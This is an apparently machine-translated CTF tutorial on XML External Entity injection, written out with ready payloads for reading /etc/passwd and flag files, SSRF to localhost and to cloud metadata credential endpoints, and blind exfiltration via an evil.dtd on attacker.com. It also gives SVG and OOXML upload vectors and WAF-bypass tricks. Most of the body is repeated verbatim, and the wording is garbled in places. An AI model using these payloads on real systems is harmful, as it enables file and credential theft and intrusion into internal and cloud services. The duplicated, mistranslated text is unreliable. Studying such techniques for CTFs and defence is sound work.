Web-task on CTF: the form of downloading SVG-avatar, from endpoints upload - only and the user profile. Half of the participants pick XSS in SVG rendering, try SSTI, torment CSPs — and the first solver comes through the XXE injection into a SVG parser with a chain to SSRF on the internal API. The flag was in the answer of the service, available only with localhost. The scheme is found in the CTF regularly, but beginners repeatedly miss it - the loading of the picture and the XML parser in the head do not communicate. In vain. XXXE injection is a vulnerability where understanding parser mechanics is more important than knowledge of a particular framework.
Why the attacker outside the CTF: through XXE read configuration files with passwords from the database — Credentials In Files (T1552.001, Credential Access). Scan the internal network through the SSRF, get to the cloud metadata AWS/GCP – Cloud Instance Metadata API (T1552.005). As a result, initial access to infrastructure through the Exploit Public-Facing Application (T1190, Initial Access). The path from “read /etc/passwd” to “got the keys to the cloud” – one payloade.
XML External Entity Mechanics Attack
XXE is classified as CWE-611 – Improper Restriction of XML External Entity Reference. The essence is simple: XML-parser receives a document with a design <!DOCTYPE>, within which is declared <!ENTITY ... SYSTEM "...">. According to the XML specification, the parser must resolve the essence - upload the contents according to the specified URI and substitute it into the document. Obligated. It is not “can” not “under certain conditions” – it is obliged. More details in our review pentest web applications.
Key word SYSTEM indicates the data source. Supported URI schemes: file:/// for local files, http:// and https:// for HTTP requests, ftp:// for FTP connections. In PHP-environs additionally work stream-wrappers: php://filter, expect://, data://. Parser takes data on URI, puts instead of a call &entity_name; and returns the result to the application. If the application includes this result in an HTTP response, the contents of the file leak to the attacker.
According to the classification OWASP Top 10 (editorial 2021) XXE vulnerability refers to A03:2021 (Injection) and A05:2021 (Security Misconfiguration). When an external entity points to an internal URL, XXE generates SSRF (A10:2021). According to unconfirmed data on the forthcoming edition of OWASP Top 10 2025 (officially not published at the time of writing), CWE-611 can be transferred to the Security Misconfiguration category, and SSRF (CWE-918) to Broken Access Control. Consequences for CWE-611: violation of confidentiality (reading the application data), bypassing protection mechanisms, denial of service through consumption of CPU resources. Billion Laughs attack is a characteristic example of DoS: recursively defined entities make the parser reveal an exponentially growing XML, devouring all available memory. Beautiful and ruthless.
Classical operation XXE for reading files
Basic pailod and beginner mistakes
The most frequent CTF scenario: the application receives XML through a POST request (form, API-endpoint), parsits it and gives some of the data back. The task is to implement DOCTYPE with an external entity and put a link to it in a tag, the value of which is reflected in the HTTP response.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><name>&xxe;</name></user>
Line: XML prologue sets version and encoding. <!DOCTYPE data [...]> opens a block for determining the type of document with an arbitrary root name data. Inside <!ENTITY xxe SYSTEM "file:///etc/passwd"> declares an external entity xxe, which will upload the contents of the file when the resolve /etc/passwd through the URI scheme file:///. In the tag <name> substituted &xxe; – parser replaces this link with the contents of the file. If the value <name> get into the HTTP response, you see the list of system users: root:x:0:0:root:/root:/bin/bash....
Three mistakes that beginners are steadily losing time with:
Forgot DOCTYPE. Without <!DOCTYPE ...> to announce <!ENTITY> impossible – the parser will return the syntax error. Some are trying to insert <!ENTITY> straight into the XML body without DOCTYPE wrappers. Unvalid XML, the parser will throw it away. It is checked in a second, and the time on the CTF is eaten - ten minutes of debugging.
The relative path instead of the absolute. Construction SYSTEM "etc/passwd" without the presenter / reads the file regarding the current parser directory. On CTF, the result is unpredictable – the working directory depends on the deploy. Always file:/// with an absolute path from the root of the file system.
Substitution is not in that tag. The Essence &xxe; should stand in the element whose value the application gives in the answer. If the app returns only status, and you framed in name – the file will be read on the server side, but will not appear in the answer. Stupidly poked. In Burp Repeater send a request with &xxe; in each XML field in turn and see where the contents of the file pop up. Phasing tags through Intruder with a dictionary is also a working option, but for CTFs there is usually a manual selection of 3-5 fields.
Reading PHPs through vrappers
On CTF servers with PHP backend live reading .php-files through file:/// often not working: the parser will be suppressed by PHP tags <?php, corner brackets and special characters in the code. XML-parser interprets <?php as processing instruction and breaks the structure of the document. Familiar pain.
Solution – PHP-vrapper php://filter with conversion to Base64. In the declaration of essence instead of file:///var/www/html/index.php specify php://filter/read=convert.base64-encode/resource=index.php. Parser will return the Base64 line you decode echo "..." | base64 -d. This technique is the standard for CTF-TASKS on PHP, where the flag is sewn in source or in config.php with the database creds.
Wrapper expect:// allows you to execute a system command — SYSTEM "expect://id" – but requires a set module expect, which is rare in production. On the CTF, check it last when the standard file:/// and php://filter did not give results.
SSRF via XXE vulnerability
When the XXE injection allows you to specify a URI with an HTTP diagram, the server performs an HTTP request on its own behalf – it is Server-Side Request Forgery. It is enough to replace file:///etc/passwd on http://internal-service:8080/api/secret. The server will turn to the internal endpoint, and if the answer hits the XML output, the contents flow to the attacker. One replacement in the URI and the attack vector is fundamentally different.
In CTF SSRF, through XXE, it is used to access services on localhost that are not available from the outside: SYSTEM "http://127.0.0.1:8080/flag" or SYSTEM "http://localhost:3000/admin". A characteristic CTF pattern: in a TASK with SVG loading, XXE allows you to access the internal API (e.g., /toggle), switching functions available only to privileged users - a closed feature is activated through the SSRF, which contains the flag.
A real example of the link: CVE-2019-12153 (CWE-918) and CVE-2019-12154 (CWE-611) in RealObjects PDFreactor to version 10.1.10722. The first is SSRF via HTML parser, the second is XXE in the XML parser. Two vulnerabilities in one product, both lead to the compromise of server resources.
Cloud metadata via XXE
In bug bounty and CTF with cloud infrastructure through XXE, they turn to the AWS metadata service: SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/". This is the Cloud Instance Metadata API (T1552.005 by MITRE ATT&CK) technique – allows you to pull time keys of IAM-role access directly from the XML response. According to YesWeHack, it is cloud metadata exfiltration that turns the XXE vulnerability from “read the file” into “gained full access to the cloud account.” In bug bounty, that’s the difference between P3 and P1.
For Azure entpoint metadata — http://169.254.169.254/metadata/identity/oauth2/token, for GCP — http://metadata.google.internal/computeMetadata/v1/. But GCP requires a title Metadata-Flavor: Google, which through the XXE entity cannot be conveyed. The restriction of the method, and to circumvent it within the framework of pure XXE, cannot be.
Blind XXE and OOB data exfiltration
In CTF-draught medium and high-level, the application parsits XML, but does not return the values of the entities in the response. Substitute &xxe; in the tag - and in the answer you see only {"status": "ok"} Or an empty body. The data is read by parser, but not reflected. This is blind XXE – and the most interesting thing begins here.
External DTD for OOB XXE operation
For Out-of-Band exfiltration, parameter entities are used - declared with a symbol % and work only inside the DTD. Diagram: on a controlled server, place a DTD file, and in XML, specify a link to it.
Nuance: Even if the parser resolves local external entities (file://), a separate flag can block the DTD network download (e.g., XML_PARSE_NONET in libxml2) - then OOB will not work, although reading files through SYSTEM "file:///" will work. File evil.dtd on http://attacker.com/evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'http://attacker.com/?d=%file;'>">
%eval;
%exfil;
XML, which is sent to the application: <!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd;]><data>test</data>.
What happens step by step: the parser meets %dtd;, loads external DTD, defines %file (content /etc/hostname), through %eval creates an embedded entity %exfil with the file contents in the URL. With a resolve %exfil parser sends HTTP request to attacker.com/?d=webserver01 – and on the side of the attacker in the logs python3 -m http.server 80 a request with data in the query line. Magic? No, just the XML specification works as intended.
For CTF instead of your server, it is more convenient for Burp Collaborator to generate payload-URL, substitute in DTD and on the Collaborator tab you see incoming DNS/HTTP requests. Alternative – interactsh from ProjectDiscovery.
Restriction: if the file contains transfer strings or special characters (as /etc/passwd), the URL with them will be invalid and the request will not go away. Bypass: FTP-exfiltration (FTP-protocol is tolerant of special symbols) or error-based XXE.
Error-based XXE
An OOB alternative that works when a server cannot make outgoing HTTP connections (firewall) but returns parser error messages. Idea: create a parametric entity with a invalid URI into which the contents of the file are framed. Parser will try to resolve the URI, will not be able and will throw away the exception of the species "I/O error: file not found: contents_of_secret_file". Error – and there is an exfiltration channel.
According to OWASP WSTG, error-based XXE works through the overriding of entities from local system DTDs. On desktop Linux distributions with GUI-packs there are DTD files: /usr/share/yelp/dtd/docbookx.dtd (part of GNOME help), /usr/share/xml/fontconfig/fonts.dtd (part of fontconfig). In minimal server and container environments (Alpine, distroless) typical of CTFs, these files are often missing – check their availability through LFI before using the technique.
The technique is more reliable than OOB in isolated environments, but sensitive to configuration: not all parsers return the full text of the error to the application, some only log it to the server. On CTF, check the error-based if OOB does not give a callback – sometimes it is the only working channel.
XXE vulnerability through file upload
SVG is a vector graphics format based on XML. If the application accepts SVG and processes it with a parser (rendering, validation, conversion to PNG), the XEXE injection can be introduced into SVG. In CTF, this is one of the most popular vectors: the developers check the extension and the MIME file type, but the hands did not reach the configuration of the parser.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="300" height="100">
<text font-size="16" x="10" y="40">&xxe;</text>
</svg>
The contents of the file are framed into the text element of SVG. If the application renders SVG in the raster, the text will appear in the picture. If SVG returns as is, the contents of the file will be in the XML response. If not rendering and does not return the visible result, combine with OOB-technique from the previous section.
A similar vector works through DOCX, XLSX, and PPTX: according to PortSwigger, these formats are ZIP archives with XML files inside. Unpacking .docx through unzip, editing [Content_Types].xml or word/document.xml, add XXE-payload and pack back through zip. When parsing a document on the server, the entity will be resolated. There are public scripts for automation of the XEXE injection in OOXML formats – convenient for mass testing file-upload endpoints.
Real CVEs confirm the vector: CVE-2019-0340 (CWE-611) in SAP Enable Now before version 1902 – XML-parser was not protected, XXE was operated through file uploading on multiple endpoints. CVE-2018-1000838 (CWE-611) in Autopsy <= 4.9.0 — XXE in caseMetadata parser. According to OSV.dev, CVSS vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — network attack, without authentication, without user interaction, all impact metrics at the maximum (accurate numerical score — check the current NVD listing). Especially revealing: Autopsy is a tool for foresaw, not a web application. According to NVD, CVE-2018-1000838 can lead not only to data disclosure and DoS, but also to SSRF and port scanning. XXE lives not only in the API – it lives wherever there is an XML parser.
Bypass filters and advanced techniques XXE injections
UTF-16 encoding. If a WAF or server filter blocks strings <!DOCTYPE, <!ENTITY, SYSTEM – change the encoding to UTF-16. In the XML prologue, specify encoding="UTF-16" (before converting while the file is still in UTF-8), then convert: iconv -f UTF-8 -t UTF-16 payload.xml > payload_utf16.xml. Prologue with encoding="UTF-16" must be specified in the source file before the call iconv, otherwise the parser will get a conflict between the actual coding and the declared in the prologue. WAF, analyzing raw bytes in ASCII, miss UTF-16 representation of the same characters. The technique works against the WAF, which does not decode the body of the request before checking – and there are enough.
Substitution of Content-Type. According to YesWeHack, Spring Boot and Express frameworks automatically switch to XML parser when changing the header Content-Type: application/json on Content-Type: application/xml. The API, conceived as JSON-only, starts parsing XML — and if the parser isn’t configured securely, you get XXE on the endpoint that developers didn’t consider XML-compatible. In Burp Repeater: change Content-Type, rewrite the body from JSON to XML with DOCTYPE and essence. Takes a minute, and the result is unexpected.
XInclude. When you only control one field that is inserted in XML on the server (SOAP request, backend template), DOCTYPE with ENTITY cannot be announced. Here works Xinclude - part of the XML specification for the inclusion of external documents. Peyload: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>. Attribute parse="text" critically important – without it, the parser will try to interpret /etc/passwd like XML and fall. According to OWASP WSTG, Xinclude is a key vector in testing SOAP services.
CDATA wrapper. Some filters block angle brackets and ampersands in XML values. CDATA Sections (<![CDATA[...]]>) allow you to shield special characters inside the payload. Useful and when exfiltrating files containing XML-specific symbols.
PUBLIC instead of SYSTEM. Part of the WAF checks only the keyword SYSTEM in DTD. Replacement on PUBLIC with a fictitious public identifier: <!ENTITY xxe PUBLIC "-//W3C//DTD XHTML 1.0//EN" "file:///etc/passwd"> – bypasses such filters. Primitive, but working.
Preconditions and limitations of XXE vulnerabilities
The XXE injection does not always work. Specific conditions without which the technique will not work:
The parser must resolve external entities. According to OWASP WSTG, in modern versions of most libraries, external entities are disabled by default. But the devil in the details:
Java: DocumentBuilderFactory default does NOT disable external entities – the standard JAXP configuration is vulnerable to XXE. The developer must clearly call setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true) and setFeature("http://apache.org/xml/features/disallow-doctype-decl", true). The lack of this setting is a typical cause of XXE in Java applications, and is much more common than you would like.
Python: xml.etree.ElementTree does not support DTD and is not vulnerable. Library lxml by default does not resolve external entities, but with an obvious resolve_entities=True with no_network=False becomes vulnerable.
PHP: libxml with version 2.9.0 (2012) disables the loading of external entities by default. Vulnerability occurs with libxml_disable_entity_loader(false) or on outdated versions.
Node.js: xml2js and built-in DOMParser Default is secure. Vulnerable configurations are the result of the explicit inclusion of dangerous features.
Why the attacker outside the CTF: through XXE read configuration files with passwords from the database — Credentials In Files (T1552.001, Credential Access). Scan the internal network through the SSRF, get to the cloud metadata AWS/GCP – Cloud Instance Metadata API (T1552.005). As a result, initial access to infrastructure through the Exploit Public-Facing Application (T1190, Initial Access). The path from “read /etc/passwd” to “got the keys to the cloud” – one payloade.
XML External Entity Mechanics Attack
XXE is classified as CWE-611 – Improper Restriction of XML External Entity Reference. The essence is simple: XML-parser receives a document with a design <!DOCTYPE>, within which is declared <!ENTITY ... SYSTEM "...">. According to the XML specification, the parser must resolve the essence - upload the contents according to the specified URI and substitute it into the document. Obligated. It is not “can” not “under certain conditions” – it is obliged. More details in our review pentest web applications.
Key word SYSTEM indicates the data source. Supported URI schemes: file:/// for local files, http:// and https:// for HTTP requests, ftp:// for FTP connections. In PHP-environs additionally work stream-wrappers: php://filter, expect://, data://. Parser takes data on URI, puts instead of a call &entity_name; and returns the result to the application. If the application includes this result in an HTTP response, the contents of the file leak to the attacker.
According to the classification OWASP Top 10 (editorial 2021) XXE vulnerability refers to A03:2021 (Injection) and A05:2021 (Security Misconfiguration). When an external entity points to an internal URL, XXE generates SSRF (A10:2021). According to unconfirmed data on the forthcoming edition of OWASP Top 10 2025 (officially not published at the time of writing), CWE-611 can be transferred to the Security Misconfiguration category, and SSRF (CWE-918) to Broken Access Control. Consequences for CWE-611: violation of confidentiality (reading the application data), bypassing protection mechanisms, denial of service through consumption of CPU resources. Billion Laughs attack is a characteristic example of DoS: recursively defined entities make the parser reveal an exponentially growing XML, devouring all available memory. Beautiful and ruthless.
Classical operation XXE for reading files
Basic pailod and beginner mistakes
The most frequent CTF scenario: the application receives XML through a POST request (form, API-endpoint), parsits it and gives some of the data back. The task is to implement DOCTYPE with an external entity and put a link to it in a tag, the value of which is reflected in the HTTP response.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><name>&xxe;</name></user>
Line: XML prologue sets version and encoding. <!DOCTYPE data [...]> opens a block for determining the type of document with an arbitrary root name data. Inside <!ENTITY xxe SYSTEM "file:///etc/passwd"> declares an external entity xxe, which will upload the contents of the file when the resolve /etc/passwd through the URI scheme file:///. In the tag <name> substituted &xxe; – parser replaces this link with the contents of the file. If the value <name> get into the HTTP response, you see the list of system users: root:x:0:0:root:/root:/bin/bash....
Three mistakes that beginners are steadily losing time with:
Forgot DOCTYPE. Without <!DOCTYPE ...> to announce <!ENTITY> impossible – the parser will return the syntax error. Some are trying to insert <!ENTITY> straight into the XML body without DOCTYPE wrappers. Unvalid XML, the parser will throw it away. It is checked in a second, and the time on the CTF is eaten - ten minutes of debugging.
The relative path instead of the absolute. Construction SYSTEM "etc/passwd" without the presenter / reads the file regarding the current parser directory. On CTF, the result is unpredictable – the working directory depends on the deploy. Always file:/// with an absolute path from the root of the file system.
Substitution is not in that tag. The Essence &xxe; should stand in the element whose value the application gives in the answer. If the app returns only status, and you framed in name – the file will be read on the server side, but will not appear in the answer. Stupidly poked. In Burp Repeater send a request with &xxe; in each XML field in turn and see where the contents of the file pop up. Phasing tags through Intruder with a dictionary is also a working option, but for CTFs there is usually a manual selection of 3-5 fields.
Reading PHPs through vrappers
On CTF servers with PHP backend live reading .php-files through file:/// often not working: the parser will be suppressed by PHP tags <?php, corner brackets and special characters in the code. XML-parser interprets <?php as processing instruction and breaks the structure of the document. Familiar pain.
Solution – PHP-vrapper php://filter with conversion to Base64. In the declaration of essence instead of file:///var/www/html/index.php specify php://filter/read=convert.base64-encode/resource=index.php. Parser will return the Base64 line you decode echo "..." | base64 -d. This technique is the standard for CTF-TASKS on PHP, where the flag is sewn in source or in config.php with the database creds.
Wrapper expect:// allows you to execute a system command — SYSTEM "expect://id" – but requires a set module expect, which is rare in production. On the CTF, check it last when the standard file:/// and php://filter did not give results.
SSRF via XXE vulnerability
When the XXE injection allows you to specify a URI with an HTTP diagram, the server performs an HTTP request on its own behalf – it is Server-Side Request Forgery. It is enough to replace file:///etc/passwd on http://internal-service:8080/api/secret. The server will turn to the internal endpoint, and if the answer hits the XML output, the contents flow to the attacker. One replacement in the URI and the attack vector is fundamentally different.
In CTF SSRF, through XXE, it is used to access services on localhost that are not available from the outside: SYSTEM "http://127.0.0.1:8080/flag" or SYSTEM "http://localhost:3000/admin". A characteristic CTF pattern: in a TASK with SVG loading, XXE allows you to access the internal API (e.g., /toggle), switching functions available only to privileged users - a closed feature is activated through the SSRF, which contains the flag.
A real example of the link: CVE-2019-12153 (CWE-918) and CVE-2019-12154 (CWE-611) in RealObjects PDFreactor to version 10.1.10722. The first is SSRF via HTML parser, the second is XXE in the XML parser. Two vulnerabilities in one product, both lead to the compromise of server resources.
Cloud metadata via XXE
In bug bounty and CTF with cloud infrastructure through XXE, they turn to the AWS metadata service: SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/". This is the Cloud Instance Metadata API (T1552.005 by MITRE ATT&CK) technique – allows you to pull time keys of IAM-role access directly from the XML response. According to YesWeHack, it is cloud metadata exfiltration that turns the XXE vulnerability from “read the file” into “gained full access to the cloud account.” In bug bounty, that’s the difference between P3 and P1.
For Azure entpoint metadata — http://169.254.169.254/metadata/identity/oauth2/token, for GCP — http://metadata.google.internal/computeMetadata/v1/. But GCP requires a title Metadata-Flavor: Google, which through the XXE entity cannot be conveyed. The restriction of the method, and to circumvent it within the framework of pure XXE, cannot be.
Blind XXE and OOB data exfiltration
In CTF-draught medium and high-level, the application parsits XML, but does not return the values of the entities in the response. Substitute &xxe; in the tag - and in the answer you see only {"status": "ok"} Or an empty body. The data is read by parser, but not reflected. This is blind XXE – and the most interesting thing begins here.
External DTD for OOB XXE operation
For Out-of-Band exfiltration, parameter entities are used - declared with a symbol % and work only inside the DTD. Diagram: on a controlled server, place a DTD file, and in XML, specify a link to it.
Nuance: Even if the parser resolves local external entities (file://), a separate flag can block the DTD network download (e.g., XML_PARSE_NONET in libxml2) - then OOB will not work, although reading files through SYSTEM "file:///" will work. File evil.dtd on http://attacker.com/evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'http://attacker.com/?d=%file;'>">
%eval;
%exfil;
XML, which is sent to the application: <!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd;]><data>test</data>.
What happens step by step: the parser meets %dtd;, loads external DTD, defines %file (content /etc/hostname), through %eval creates an embedded entity %exfil with the file contents in the URL. With a resolve %exfil parser sends HTTP request to attacker.com/?d=webserver01 – and on the side of the attacker in the logs python3 -m http.server 80 a request with data in the query line. Magic? No, just the XML specification works as intended.
For CTF instead of your server, it is more convenient for Burp Collaborator to generate payload-URL, substitute in DTD and on the Collaborator tab you see incoming DNS/HTTP requests. Alternative – interactsh from ProjectDiscovery.
Restriction: if the file contains transfer strings or special characters (as /etc/passwd), the URL with them will be invalid and the request will not go away. Bypass: FTP-exfiltration (FTP-protocol is tolerant of special symbols) or error-based XXE.
Error-based XXE
An OOB alternative that works when a server cannot make outgoing HTTP connections (firewall) but returns parser error messages. Idea: create a parametric entity with a invalid URI into which the contents of the file are framed. Parser will try to resolve the URI, will not be able and will throw away the exception of the species "I/O error: file not found: contents_of_secret_file". Error – and there is an exfiltration channel.
According to OWASP WSTG, error-based XXE works through the overriding of entities from local system DTDs. On desktop Linux distributions with GUI-packs there are DTD files: /usr/share/yelp/dtd/docbookx.dtd (part of GNOME help), /usr/share/xml/fontconfig/fonts.dtd (part of fontconfig). In minimal server and container environments (Alpine, distroless) typical of CTFs, these files are often missing – check their availability through LFI before using the technique.
The technique is more reliable than OOB in isolated environments, but sensitive to configuration: not all parsers return the full text of the error to the application, some only log it to the server. On CTF, check the error-based if OOB does not give a callback – sometimes it is the only working channel.
XXE vulnerability through file upload
SVG is a vector graphics format based on XML. If the application accepts SVG and processes it with a parser (rendering, validation, conversion to PNG), the XEXE injection can be introduced into SVG. In CTF, this is one of the most popular vectors: the developers check the extension and the MIME file type, but the hands did not reach the configuration of the parser.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="300" height="100">
<text font-size="16" x="10" y="40">&xxe;</text>
</svg>
The contents of the file are framed into the text element of SVG. If the application renders SVG in the raster, the text will appear in the picture. If SVG returns as is, the contents of the file will be in the XML response. If not rendering and does not return the visible result, combine with OOB-technique from the previous section.
A similar vector works through DOCX, XLSX, and PPTX: according to PortSwigger, these formats are ZIP archives with XML files inside. Unpacking .docx through unzip, editing [Content_Types].xml or word/document.xml, add XXE-payload and pack back through zip. When parsing a document on the server, the entity will be resolated. There are public scripts for automation of the XEXE injection in OOXML formats – convenient for mass testing file-upload endpoints.
Real CVEs confirm the vector: CVE-2019-0340 (CWE-611) in SAP Enable Now before version 1902 – XML-parser was not protected, XXE was operated through file uploading on multiple endpoints. CVE-2018-1000838 (CWE-611) in Autopsy <= 4.9.0 — XXE in caseMetadata parser. According to OSV.dev, CVSS vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — network attack, without authentication, without user interaction, all impact metrics at the maximum (accurate numerical score — check the current NVD listing). Especially revealing: Autopsy is a tool for foresaw, not a web application. According to NVD, CVE-2018-1000838 can lead not only to data disclosure and DoS, but also to SSRF and port scanning. XXE lives not only in the API – it lives wherever there is an XML parser.
Bypass filters and advanced techniques XXE injections
UTF-16 encoding. If a WAF or server filter blocks strings <!DOCTYPE, <!ENTITY, SYSTEM – change the encoding to UTF-16. In the XML prologue, specify encoding="UTF-16" (before converting while the file is still in UTF-8), then convert: iconv -f UTF-8 -t UTF-16 payload.xml > payload_utf16.xml. Prologue with encoding="UTF-16" must be specified in the source file before the call iconv, otherwise the parser will get a conflict between the actual coding and the declared in the prologue. WAF, analyzing raw bytes in ASCII, miss UTF-16 representation of the same characters. The technique works against the WAF, which does not decode the body of the request before checking – and there are enough.
Substitution of Content-Type. According to YesWeHack, Spring Boot and Express frameworks automatically switch to XML parser when changing the header Content-Type: application/json on Content-Type: application/xml. The API, conceived as JSON-only, starts parsing XML — and if the parser isn’t configured securely, you get XXE on the endpoint that developers didn’t consider XML-compatible. In Burp Repeater: change Content-Type, rewrite the body from JSON to XML with DOCTYPE and essence. Takes a minute, and the result is unexpected.
XInclude. When you only control one field that is inserted in XML on the server (SOAP request, backend template), DOCTYPE with ENTITY cannot be announced. Here works Xinclude - part of the XML specification for the inclusion of external documents. Peyload: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>. Attribute parse="text" critically important – without it, the parser will try to interpret /etc/passwd like XML and fall. According to OWASP WSTG, Xinclude is a key vector in testing SOAP services.
CDATA wrapper. Some filters block angle brackets and ampersands in XML values. CDATA Sections (<![CDATA[...]]>) allow you to shield special characters inside the payload. Useful and when exfiltrating files containing XML-specific symbols.
PUBLIC instead of SYSTEM. Part of the WAF checks only the keyword SYSTEM in DTD. Replacement on PUBLIC with a fictitious public identifier: <!ENTITY xxe PUBLIC "-//W3C//DTD XHTML 1.0//EN" "file:///etc/passwd"> – bypasses such filters. Primitive, but working.
Preconditions and limitations of XXE vulnerabilities
The XXE injection does not always work. Specific conditions without which the technique will not work:
The parser must resolve external entities. According to OWASP WSTG, in modern versions of most libraries, external entities are disabled by default. But the devil in the details:
Java: DocumentBuilderFactory default does NOT disable external entities – the standard JAXP configuration is vulnerable to XXE. The developer must clearly call setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true) and setFeature("http://apache.org/xml/features/disallow-doctype-decl", true). The lack of this setting is a typical cause of XXE in Java applications, and is much more common than you would like.
Python: xml.etree.ElementTree does not support DTD and is not vulnerable. Library lxml by default does not resolve external entities, but with an obvious resolve_entities=True with no_network=False becomes vulnerable.
PHP: libxml with version 2.9.0 (2012) disables the loading of external entities by default. Vulnerability occurs with libxml_disable_entity_loader(false) or on outdated versions.
Node.js: xml2js and built-in DOMParser Default is secure. Vulnerable configurations are the result of the explicit inclusion of dangerous features.